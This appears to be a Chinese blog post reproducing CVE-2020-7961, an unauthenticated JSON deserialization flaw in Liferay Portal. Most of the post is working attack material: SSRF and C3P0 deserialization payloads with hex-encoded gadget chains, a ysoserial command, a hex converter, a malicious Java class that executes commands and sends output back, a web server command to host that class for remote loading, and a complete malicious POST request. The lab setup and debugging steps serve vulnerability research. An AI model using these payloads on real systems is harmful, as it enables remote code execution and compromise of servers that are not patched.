Liferay Portal CVE-2020-7961

一、产品介绍

Liferay（又称Liferay Portal）是一个开源门户项目，该项目包含了一个完整的J2EE应用。该项目使用了Web、EJB以及JMS等技术，特别是其前台界面部分使用Struts 框架技术，基于XML的portlet配置文件可以自由地动态扩展，使用了Web Services来支持一些远程信息的获取，使用 Apache Lucene实现全文检索功能。

二、漏洞介绍

Liferay Portal 多个比较严重的 JSON fan 反序列化漏洞，影响 Liferay Portal 6.1、6.2、7.0、7.1 以及 7.2 版本，这些漏洞可以通过 Json web 进行未授权远程代码执行。

影响范围：

Liferay Portal 6.1.X

Liferay Portal 6.2.X

Liferay Portal 7.0.X

Liferay Portal 7.1.X

Liferay Portal 7.2.X

三、poc

1、SSRF1：

cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&defaultData:javax.swing.JEditorPane={"page":"http://10.10.10.10","loginTimeout":0}

2、SSRF2：

cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"rmi://10.10.10.10/xxx","loginTimeout":0}

3、反序列化：

cmd={"/expandocolumn/add-column":{}}&p_auth=rA56NUR1&formDate=1587366607241&tableId=1&name=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874002D2F2F3531302E44455345522E38302E31313038332E7674702E73656375726974792E6875617765692E636F6D2F740004687474707400076578706C6F697470707070770400000000787702000178;"}

四、环境安装

下载集成了tomcat的liferay

https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z

解压，修改tomcat启动端口，防止与其他端口冲突

加上调试接口，便于后续idea调试

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8788

双击启动startup.bat，如果tomcat报错，可能是调用了系统环境变量中的tomcat，删除系统环境变量中的tomcat即可。

五、构造poc

使用ysoserial生成poc二进制文件

java -jar ysoserial.jar C3P0 "http://127.0.0.1:8989/:Exploit" > 1.ser

再将二进制文件转换成hex字节码，转换源码如下：

import java.io.*;

public class yso2hex {

public String encodeHex(InputStream fi) throws IOException {

int size;

String hexStr="";

while ((size=fi.read())!=-1){

String byteChar = Integer.toHexString(size);

if(byteChar.length()<2) {

byteChar = "0" + byteChar;

}

hexStr = hexStr + byteChar;

}

return hexStr;

}

public static void main(String[] args) throws IOException {

FileInputStream fi = new FileInputStream(new File("D:\\penetration\\poc\\1.ser"));

yso2hex obj = new yso2hex();

String pocStr = obj.encodeHex(fi);

System.out.println(pocStr);

}

转换结果如下，如果你发现你转换结果是F开头的，可能是执行ysoserial命令时使用了powershell，换成cmd。

aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740018687474703a2f2f31302e37302e362e3133303a393939392f7400076578706c6f697470707070770400000000787702000178

C3P0会在http://127.0.0.1:8989/下加载恶意类Exploit，其中恶意类如下所示：

public class Exploit {

public Exploit(){

try {

Runtime.getRuntime().exec("calc");

} catch (Exception e) {

}

如需要回显，可使用下面源码，通过获取context得到相关接口：

import com.liferay.portal.kernel.security.access.control.AccessControlUtil;

import com.liferay.portal.kernel.security.auth.AccessControlContext;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.io.OutputStream;

public class Exploit {

public Exploit(){

try {

Runtime.getRuntime().exec("calc");

AccessControlContext accessControlContext = AccessControlUtil.getAccessControlContext();

HttpServletResponse response = accessControlContext.getResponse();

OutputStream ot = response.getOutputStream();

ot.write("hei hei hei".getBytes());

ot.flush();

ot.close();

} catch (Exception e) {

}

将上面源码保存于Exploit.java，然后使用下面命令进行编译

javac Exploit.java

然后使用python启动一个web服务，命令如下：

Python3 -m http.server 8989

注：windows下敲命令如果使用powershell，注意编码，建议使用cmd

六、构造恶意报文

恶意报文如下，将前面hex字节码填入其中。

POST /api/jsonws/invoke HTTP/1.1

Host: 127.0.0.1:9088

Content-Length: 2305

Content-Type: application/x-www-form-urlencoded

Connection: close

cmd={"/expandocolumn/add-column":{}}&p_auth=rA56NUR1&formDate=1587366607241&tableId=1&name=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A70707070707070707070787400074578706C6F6974740018687474703A2F2F31302E37302E362E3133303A393939392F7400076578706C6F697470707070770400000000787702000178;"}

打他：

六、调试

将项目导入IDEA进行调试，将如下目录右键add as library

增加remote configurations，并做如下配置：

启动后即可愉快的调试了。

Liferay Portal CVE-2020-7961相关推荐

Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
之前在CODE WHITE上发布了一篇关于Liferay Portal JSON Web Service RCE的漏洞,之前是小伙伴在处理这个漏洞,后面自己也去看了.Liferay Portal对于J ...
什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball，为何如此危险
什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...
Liferay Portal额外研究-银狐999
Liferay Portal额外研究(一):初步在新Tomcat下部署开发者在线 Builder.com.cn 更新时间:2008-03-19作者:银狐999 来源:CSDN 本文关键词: 部署 t ...
Liferay Portal学习笔记-coldTear
[原创]Liferay Portal学习笔记(一):安装一. 简单安装 1)下载并安装 JDK1.5 1. 下载并安装 Windows Platform J2SE(TM) Development ...
Liferay Portal使用MySQL数据库配置
http://www.xy21.info/2012/03/31/%E4%B8%8Eliferay%E7%9A%84%E7%AC%AC%E4%B8%80%E6%AC%A1%E4%BA%B2%E5%AF% ...
Liferay Portal 7.4 GA3 and Liferay Commerce 4.0 GA3 Release
Liferay正式发布Liferay Portal 7.4GA3,以及Liferay Commerce4.0GA3 如何下载 Liferay Portal和Liferay Commerce分享同一个B ...
Liferay Portal 7.2 CE GA1 发布
此篇文章乃为转载Liferay官方微信的文章.大家可以去关注他们的微信公众号去了解更多信息很高兴宣布Liferay Portal 7.2 CE GA1发布了! 新功能总览在线编辑 Liferay ...
liferay portal 中文安装指南
Liferay portal 安装指南(初稿)--------温兵 liferay porta 安装指南(初稿) liferay porta 安装指南(初稿) ................... ...
开源门户网站Liferay Portal
liferay是一个现成的,即开即用的,功能完备的门户网站Liferay Portal,是一个完美的桌面协同办公组合,完全为企业和机构设计,并且可以随意适应不同的应用Liferay Social Of ...

Liferay Portal CVE-2020-7961

Liferay Portal CVE-2020-7961相关推荐

最新文章

热门文章